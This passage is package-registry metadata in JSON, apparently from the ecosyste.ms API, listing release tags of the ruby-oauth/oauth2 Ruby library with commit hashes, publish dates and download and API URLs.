th2/releases/tag/v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.15/manifests"},{"name":"v2.0.14","sha":"de505c115f367c51dfbe6fd894cd0ee15b8a8164","kind":"tag","published_at":"2025-08-31T11:39:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.14","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.14/manifests"},{"name":"v2.0.13","sha":"26b3dfe541642ad4004cbcf85900276cea27813a","kind":"tag","published_at":"2025-08-30T22:39:29.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.13","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.13/manifests"},{"name":"v2.0.12","sha":"1b1f2bbe054e88310dd7b679b76c3745038693da","kind":"tag","published_at":"2025-05-31T22:17:27.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.12","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.12/manifests"},{"name":"v2.0.11","sha":"2dba5144429b3eec6e117fd12f7f3eed3f911b09","kind":"tag","published_at":"2025-05-23T05:19:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.11/manifests"},{"name":"v2.0.10","sha":"97693b0a0cab3088ed31909bb15452f135494886","kind":"tag","published_at":"2025-05-17T00:12:29.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.10/manifests"},{"name":"v2.0.9","sha":"8c88ad2f309374599ac56cd253fb93e3ad81cf07","kind":"tag","published_at":"2022-09-16T05:07:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.9/manifests"},{"name":"v1.4.11","sha":"d41fb6e8feef3b0b0382dedc0ede82f5ca7854cd","kind":"tag","published_at":"2022-09-16T05:02:38.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.11","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.11/manifests"},{"name":"v2.0.8","sha":"d1989817de0e9222b71533e4443d80f86a922732","kind":"tag","published_at":"2022-09-01T02:09:26.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.8/manifests"},{"name":"v2.0.7","sha":"d499c582ae505c4cec53836a5cfef0e034b29f33","kind":"tag","published_at":"2022-08-22T11:15:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.7/manifests"},{"name":"v2.0.6","sha":"8df9452e01494e155d6e5de94829bc9f55c63a1d","kind":"tag","published_at":"2022-07-13T03:03:52.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.6/manifests"},{"name":"v2.0.5","sha":"924d5337f42a615797f3635206806ffaa202ef92","kind":"tag","published_at":"2022-07-07T13:27:23.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.5/manifests"},{"name":"v2.0.4","sha":"6aaaba23cb0d335985bc85e426731a6fd70820cb","kind":"tag","published_at":"2022-07-01T16:00:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.4/manifests"},{"name":"v1.4.10","sha":"12ee1f160125f6d12caf53659f63c50bd1aa793d","kind":"tag","published_at":"2022-07-01T15:42:28.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.10","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.10/manifests"},{"name":"v2.0.3","sha":"5da356219d8b09f04f211d110172c3d5400b4b9a","kind":"tag","published_at":"2022-06-28T00:54:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"fd776022d32005282c9355a86e5cebff97221842","kind":"tag","published_at":"2022-06-24T14:32:53.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"3fe2dc814fb8b58583b9a833b083606b9ba3ebb6","kind":"tag","published_at":"2022-06-22T15:25:58.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"2313d090105079e91179825ca11ca699230026ac","kind":"tag","published_at":"2022-06-21T11:48:22.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc3","sha":"23c4db5d47f0765488d9f5877aa696b64f543156","kind":"tag","published_at":"2022-06-20T23:52:53.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc3/manifests"},{"name":"v2.0.0.rc2","sha":"83db079975a63c7fa004f0c7af19ec811c160463","kind":"tag","published_at":"2022-06-12T15:41:23.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc2/manifests"},{"name":"v2.0.0.rc1","sha":"98602da1a627e98621d7641196751173728e9821","kind":"tag","published_at":"2022-06-10T18:11:49.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v2.0.0.rc1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v2.0.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v2.0.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v2.0.0.rc1/manifests"},{"name":"v1.4.9","sha":"9105b39e08c4310a144519dafc392a7783876b70","kind":"tag","published_at":"2022-02-20T08:00:36.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.9","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.9/manifests"},{"name":"v1.4.8","sha":"934faa899c7731df627093f4d76139ab40380709","kind":"tag","published_at":"2022-02-18T07:04:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.8","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.8/manifests"},{"name":"v1.4.7","sha":"bd7cf62f7d92abb6d4cfd3db608bc0147dcb31cf","kind":"tag","published_at":"2021-03-19T03:52:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.7","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.7/manifests"},{"name":"v1.4.6","sha":"92544cf6fdd1cc93fbea67beec9de8dc9d1fe041","kind":"tag","published_at":"2021-03-19T02:35:34.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.6","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.6/manifests"},{"name":"v1.4.5","sha":"e395da8299cdef70138667656f68e2fbdc3d5402","kind":"tag","published_at":"2021-03-18T21:55:15.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.5","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.5/manifests"},{"name":"v1.4.4","sha":"cb8eca28ec8b831833199cb4e60014cfc0bc4ac0","kind":"tag","published_at":"2020-02-13T00:05:10.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.4/manifests"},{"name":"v1.4.3","sha":"6e4c179285ee9ba2516a6724b59289d7deefb0aa","kind":"tag","published_at":"2020-01-29T09:02:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.3/manifests"},{"name":"v1.4.2","sha":"889bced24bd398d1a3962c349c0ae0b1ca314185","kind":"tag","published_at":"2019-10-01T10:03:25.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.2/manifests"},{"name":"v1.4.1","sha":"04d762e9df511d81ba75dcc502d7697b2d25cafb","kind":"tag","published_at":"2018-10-13T08:52:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"24acc34ced17745ec1972d1b9494f1d8778e300a","kind":"tag","published_at":"2017-06-09T18:23:17.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.4.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.4.0/manifests"},{"name":"v1.3.1","sha":"96daaf56765652a5ffc792f645f6b3a4a42ce9bb","kind":"tag","published_at":"2017-03-03T09:56:39.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.3.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"ca311b450f94b22b9087bc8fb26abe4ad64763ee","kind":"tag","published_at":"2016-12-28T00:36:45.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.3.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"fb502c755ed8801aa5d4575f18b86a9b7ecf9f5e","kind":"tag","published_at":"2016-07-01T02:00:55.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.2.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"90262ae7ebb447da443b80df361ffcaa3a564343","kind":"tag","published_at":"2016-01-30T18:20:40.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.1.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"3d621270f0a36006820003782dfad4e78fc7618f","kind":"tag","published_at":"2014-07-09T23:06:12.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v1.0.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v1.0.0/manifests"},{"name":"v0.9.4","sha":"277bd712becd9ff7c82f632179de0cf33a3a26ca","kind":"tag","published_at":"2014-05-24T01:13:40.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.4","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.4/manifests"},{"name":"v0.9.3","sha":"d3e5107e586733226fdbae803d1874a1666cc8a1","kind":"tag","published_at":"2014-01-16T05:14:30.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.3","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.3/manifests"},{"name":"v0.9.2","sha":"347fd4ba73e517d5d2f3a2b644c718bb22baf998","kind":"tag","published_at":"2013-06-30T09:25:35.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.2","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.2/manifests"},{"name":"v0.9.1","sha":"9ce380903c396782a92635ea856f91bdaaaa2e9d","kind":"tag","published_at":"2013-02-20T23:36:54.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.1/manifests"},{"name":"v0.8.1","sha":"9b5054c967a9f76e4fc59ddad93c135f3b1573ba","kind":"tag","published_at":"2013-02-20T23:36:04.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.8.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.1/manifests"},{"name":"v0.9.0","sha":"7fc6abaa15ecb95f67a2d0290fda36d8a7b2ade4","kind":"tag","published_at":"2013-02-10T15:39:42.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.9.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"19540a737aab816fe838d150c9a401e694c58aa5","kind":"tag","published_at":"2012-07-01T01:22:41.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.8.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"b19ae2fcbb713226fc38736af8650478c9d7963a","kind":"tag","published_at":"2012-04-27T02:42:37.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.7.1","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"4cbd55439beeca9495ceee0267e036aeed379e07","kind":"tag","published_at":"2012-04-24T10:55:03.000Z","download_url":"https://codeload.github.com/ruby-oauth/oauth2/tar.gz/v0.7.0","html_url":"https://github.com/ruby-oauth/oauth2/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ruby-oauth/oauth2@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ruby-oauth%2Foauth2/tags/v0